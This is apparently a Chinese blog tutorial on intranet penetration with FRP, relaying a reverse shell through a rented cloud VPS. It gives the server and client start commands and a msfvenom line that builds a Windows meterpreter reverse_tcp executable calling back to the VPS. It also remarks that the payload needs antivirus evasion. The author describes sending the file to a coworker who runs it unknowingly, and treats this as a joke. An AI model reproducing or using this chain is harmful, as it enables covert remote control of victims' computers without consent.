今天广州天气34摄氏度,上班的路上大汗淋漓,所以无心工作,正好记录一下这段时间对内网穿透技术的小小研究。
正所谓百因必有果,我一直好奇为什么护网里的钓鱼邮件可以不同内网之间互相通信,比如我在上海,你在深圳,内网完全不同却能实现反弹shell和执行命令,真的不可思议,这到底是一个什么技术?平时打内网都是攻破外网服务器,比如web服务器的文件上传之类的,拿到shell以后控制内网再进行各种横向移动,这种很好理解。昨晚想了一晚上,两个不同内网,比我开手机热点,你也开手机热点,我把马儿文件发你,我这边监听反弹shell,很完美,但是具体怎么实现呢?这个技术叫什么?终于,在昨晚半夜越想越不对劲,直接失眠,干脆不睡了起来查资料,哦~原来这叫代理技术,也叫内网穿透。
正好我这边的工作环境没有wifi,每个人都是用自己的热点的,那正好,就拿同事来做个实验吧。
提示:以下是本篇文章正文内容,下面案例可供参考
1.需要购买一个腾讯云/阿里云的VPS服务器:
我的是腾讯云:
2.所需要的工具:Frp
下载地址:
https://github.com/fatedier/frp/releases
Frp是github上的一个项目,本次实验需要用到这一款工具。要提前下载好适合自己系统的版本。
3.需要理解这样的概念
要完成内网穿透,首先要明白下面这张图的逻辑。
左边的Hacker主机 就是我windows系统下的vmware的kali虚拟机,我要用这台kali生成一个马儿文件,发送给肉鸡端(被攻击的那个主机简称),然后反弹shell回来。
所有前提条件简单一句话带过就是:我的电脑可以连接腾讯云vps服务器(公网ip地址),肉鸡端也能连通外网,即可以连通我的腾讯云服务器,但是,我却无法连接他的主机。
所以,要做的就是下载frp,在腾讯云服务器上(以下简称服务端)解压Frp,并且配置frps和运行frp。在客户端,也就是我的主机,同样的进行配置frpc和运行frp。用本机的kali生成马儿文件发送给肉鸡端运行,然后操控肉鸡的电脑。
frpc和frps是不一样的 配置文件,c是客户端,s是服务端,分别是两者英文的简写
我的腾讯云服务器的系统是centos,所以下载了一个linux的frp安装包放在服务端上解压,配置文件:
这里的bind_port是指这个frp服务的端口,我设置的是6677。
腾讯云的安全规则务必开放6677端口。
启动服务端:
./frps -c ./frps.ini
显示successfully说明服务启动成功。
攻击端(我的kali)修改配置文件frpc.ini:
腾讯云务必开放6000端口:
启动攻击端-客户端:
./frpc -c ./frpc.ini
服务端显示成功接收:
攻击端生成马儿文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器ip lport=6000 -f exe -o dd.exe
监听5555端口:
把这个生成的马儿文件发给一个平时玩得比较好的同事,记得一定要熟悉的同事,不然惹出祸来就麻烦。
这个马儿文件必须免杀,不然会被杀毒软件搞没。具体的免杀过程我就不细说了,因为本文的重点不在免杀,以后有机会再讲。
对方不小心点击之后就直接运行,我的监听也成功了,反弹了shell回来,点到为止,证明利用Frp 自建跳板-两个内网通讯上线成功即可。内网穿透完成。
怕你们混淆,我把所有的地址都发出来。(包括那个倒霉同事的哈哈哈哈哈~事后和他解释清楚,叫他截了个ipconfig的图给我)
这里一共出现了3个端口,怕你乱,我列出来了:
6677端口:这个是frp服务的端口,意思是这个端口代表frp服务。
6000端口:这个是转发的端口,意识是对方的通讯流量会发到服务端,然后服务端用 6000 端口转发给本机。
5555端口:转发给本机的 5555端口,所以最后的监听是监听的5555,而不是6000。6000端口是生成木马的时候需要配置的端口,最后的监听要5555.
又是技术上的一个小进步,网络安全范围太广,不可能全部都学到,也不可能全部都学精,只能走一步计一步,积跬步至千里,加油。
文章原创,欢迎转载,请注明文章出处: 【内网穿透】Frp 自建跳板-两个内网通讯上线-反弹shell。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。